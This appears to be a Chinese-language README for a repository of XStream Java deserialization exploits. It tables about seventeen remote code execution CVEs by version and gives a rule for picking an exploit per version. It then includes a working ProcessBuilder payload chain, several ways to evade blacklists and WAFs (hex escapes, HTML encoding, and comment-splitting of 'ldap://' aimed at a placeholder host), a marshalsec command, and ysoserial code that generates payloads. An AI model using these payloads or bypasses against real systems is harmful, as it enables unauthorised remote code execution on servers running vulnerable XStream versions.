该项目是为了整理Xstream的exp,有一些没有测试成功,欢迎pr。
本来想写一个工具了生成exp,然后感觉这样整理出来也比较方便。。。。。懒。。
| XStream 远程代码执行漏洞 | CVE-2013-7285 | 1.4.x<XStream <= 1.4.6&=1.4.10 |
|---|---|---|
| XStream XXE | CVE-2016-3674 | 1.4.x<XStream <= 1.4.8 |
| XStream 远程代码执行漏洞 | CVE-2019-10173 | XStream = 1.4.10 |
| XStream 远程代码执行漏洞 | CVE-2020-26217 | 1.4.x<XStream <= 1.4.13 |
| XStream 远程代码执行漏洞 | CVE-2021-21344 | 1.4.x<XStream: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21345 | 1.4.x<XStream: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21346 | 1.4.x<XStream: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21347 | 1.4.x<XStream<= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21350 | 1.4.x<XStream: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21351 | 1.4.x<XStream: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-29505 | 1.4.x<XStream: <= 1.4.16 |
| XStream 远程代码执行漏洞 | CVE-2021-39141 | 1.4.x<XStream: <= 1.4.17 |
| XStream 远程代码执行漏洞 | CVE-2021-39144 | 1.4.x<XStream: <= 1.4.17 |
| XStream 远程代码执行漏洞 | CVE-2021-39146 | 1.4.x<XStream: <= 1.4.17 |
| XStream 远程代码执行漏洞 | CVE-2021-39148 | 1.4.x<XStream: <= 1.4.17 |
| XStream 远程代码执行漏洞 | CVE-2021-39152 | 1.4.x<XStream: <= 1.4.17 |
| XStream 远程代码执行漏洞 | CVE-2021-39154 | 1.4.x<XStream: <= 1.4.17 |
利用规则
<1.4.6 CVE-2013-7285
=1.4.10 CVE-2019-10173 && CVE-2013-7285
<=1.4.13 CVE-2020-26217
<=1.4.15 CVE-2021-21345 && CVE-2021-21344 && CVE-2021-21351
<=1.4.16 CVE-2021-29505
<=1.4.17 CVE-2021-39141 && CVE-2021-39144 && CVE-2021-39146
绕过
eg:
<sorted-set> <string></string> <dynamic-proxy> <interface>ja<!-- -->va<!-- -->.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>ca<!-- test -->lc.exe</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
1. 16进制绕过 <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor> </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor> 当前黑名单为org[.]springframework,此时的绕过方法可以为 <org.s_.0070ringframework.aop.support.AbstractBeanFactoryPointcutAdvisor> </org.s_.0070ringframework.aop.support.AbstractBeanFactoryPointcutAdvisor> 2. 针对标签属性内容的绕过 <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom"> </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor> 此时的黑名单为custom,那么绕过方法可以为 <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom"> </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor> 原理为读取属性内容时,会做符合要求的转化 3. 针对标签内容的绕过 <test> ldap://xxxxx </test> 此时的黑名单为ldap://,可以用如下的几种方法绕过 html编码: 这部分在提取数据时,同样对html编码的内容做了转化 <test> ldap://xxxxx </test> 注释的方法: 在处理实际的标签内容时,遇到注视内容将被忽略掉 <test> ld<!-- test -->ap://xxxxx </test>
工具生成poc
java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream
配合yso生成xstream的exp。添加Xstream组件依赖
package ysoserial.exploit; import clojure.lang.IFn; import com.thoughtworks.xstream.XStream; import ysoserial.payloads.ObjectPayload; @SuppressWarnings({ "rawtypes" }) public class Xstream { public static void main(String[] args) { if(args.length<2){ System.out.println("exit"); } final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[0],args[1]); com.thoughtworks.xstream.XStream xstream = new XStream(); //System.out.println(payloadObject); String s = xstream.toXML(payloadObject); System.out.println(s); ObjectPayload.Utils.releasePayload(args[0],payloadObject); } }